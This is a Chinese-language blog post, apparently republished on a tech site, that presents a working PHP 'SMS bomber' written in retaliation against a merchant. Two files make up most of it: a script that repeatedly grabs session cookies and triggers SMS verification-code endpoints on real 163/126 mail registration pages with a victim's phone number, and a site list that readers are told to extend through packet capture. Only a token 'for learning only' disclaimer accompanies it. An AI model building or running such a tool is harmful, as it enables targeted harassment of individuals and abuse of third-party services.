• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

php构造骚扰短信发送机(仅供学习与参考,请勿用于非法用途)

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

最近在某宝买东西得罪了某黑心商家。。然后他就疯狂的给我发骚扰短信,烦死了。。。

短信大概就是利用一些网站的手机验证码来实现的。。

所以再被他疯狂骚扰后决定自己动手反击。。

php主要用到了curl的函数库扩展,然后主要要做的还是去抓包分析网站注册码的各个请求,

下面就主要来一个小的demo来详细说一下。。效率谈不上,仅限于娱乐。

1.sms.php

  注意cookie文件一定要用绝对路径。。在这纠结了好久。。

  其他的curlopt参数自己去查手册吧

  还有里面缺少一些状态判断,可以自己去做,懒得搞了。。他一般返回json格式,还是很清楚的,剩余几次,是否已经注册都有信息可以提取。curl_exec()的返回值里有数据

 1 <?php
 2 ini_set('max_execution_time',0);
 3 if(!isset($argv[1])){
 4     print("argv error");
 5     die();
 6 }
 7 include_once("./webinfo.php");
 8 $exps = array();
 9 foreach ($webs as $key => $value) {
10     $exps[] = new $value($argv[1]);
11 }
12 for($i=1;$i<=3;$i++){
13     print("this is {$i} send\n");
14     foreach ($exps as $key => $value) {
15         if(!file_exists($value->cookieJar)){
16             $fp = fopen(dirname(__FILE__)."/".$value->cookieJar, "w+");
17             fclose($fp);
18             print("[+]create cookiefile {$value->cookieJar}\n");
19         }
20         $ch = curl_init();
21         curl_setopt($ch,CURLOPT_URL,$value->urlGetRawCookie);
22         curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__)."/".$value->cookieJar);
23         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
24         curl_setopt($ch, CURLOPT_HEADER, 0);
25         curl_exec($ch);
26         print("[+]get raw cookie ready\n");
27         curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar);
28         if($value->urlCheckNum!=null){
29             $checkUrl = $value->urlCheckNum;
30             foreach ($checkUrl as $k => $v) {
31                 if($value->type=="post"){
32                     curl_setopt($ch, CURLOPT_URL, $v[0]);
33                     curl_setopt($ch, CURLOPT_POST, true);
34                     curl_setopt($ch, CURLOPT_POSTFIELDS, $v[1]);
35                 }else{
36                     curl_setopt($ch, CURLOPT_URL, $v);
37                 }
38                 curl_exec($ch);
39                 print("[+]check num ready\n");
40              } 
41         }
42         if($value->type=="post"){
43             curl_setopt($ch, CURLOPT_POST, true);
44             curl_setopt($ch, CURLOPT_POSTFIELDS, $value->paras);
45         }
46         curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar);
47         curl_setopt($ch, CURLOPT_URL, $value->urlSendSMS);
48         curl_exec($ch);
49         print("[+]send sms ok \n begin the next... \n\n");
50     }
51     if($i!=3){
52         print("[--]we will begin the next send sms after 60s\n");
53         sleep(60);
54     }
55     
56 }

2.webinfo.php

 

 1 <?php
 2     /*
 3      *本页面为网站信息数据
 4      *$webs数组存放所有的
 5      *$type为请求格式
 6      *
 7      *$urlGetRawCookie为原始登录网页网址,用来取得原始cookie并保存,
 8      *因为一般他们会把验证码信息存在session中,若没有登录,就对应了cookie中的JSESSIONID,与http协议机制相关
 9      *
10      *$urlCheckNum为最终发送网址之前的一些网址,保存为数组格式,若为post型,则保存为二维数组,
11      *最内层数组第一个元素为网址,第二个为post数据
12      *
13      *$urlSendSMS为最终发送网址,若为post型,post数据对应于$paras
14      *
15      *$cookieJar为cookie保存文件
16      */
17     $webs = array("info163","info126");
18     class Info163{
19         public $type = "post";
20         public $paras = "";
21         public $urlGetRawCookie = "http://reg.email.163.com/unireg/call.do?cmd=register.entrance&from=163mail";
22         public $urlCheckNum = null;
23         public $urlSendSMS = "http://reg.email.163.com/unireg/call.do?cmd=added.mobileverify.sendAcode";
24         public $cookieJar = "cookie163.txt";
25         public function info163($num){
26             $this->paras = "mobile={$num}&uid={$num}@163.com&mark=mobile_start";
27         }
28         
29     }
30     class Info126{
31         public $type = "get";
32         public $urlGetRawCookie = "http://e.mail.163.com/mobilemail/home.do?from=163mail";
33         public $urlCheckNum = null;
34         public $urlSendSMS = "http://e.mail.163.com/mobilemail/getVerifyCode.do?rnd=0.031214307695158909";
35         public $cookieJar = "cookie126.txt";
36         public function info126($num){
37             $this->urlCheckNum = array(
38                 "http://e.mail.163.com/mobilemail/service/jslog.do?mobile={$num}",
39                 "http://e.mail.163.com/mobilemail/checkMobileBinded.do?mobile={$num}&rnd=0.5488968987483531"
40                 );
41         }
42     }
43 
44 
45 
46 ?>

自己可以按照规则扩展webino里的数据,抓包可以用wireshark,不过http抓包个人感觉还是chrome自带的工具比较好用点

 

 

请勿用于非法用途,后果自负。

 


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
Discuz代码分析——index.php发布时间:2022-07-10
下一篇:
PHP实现重载发布时间:2022-07-10
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap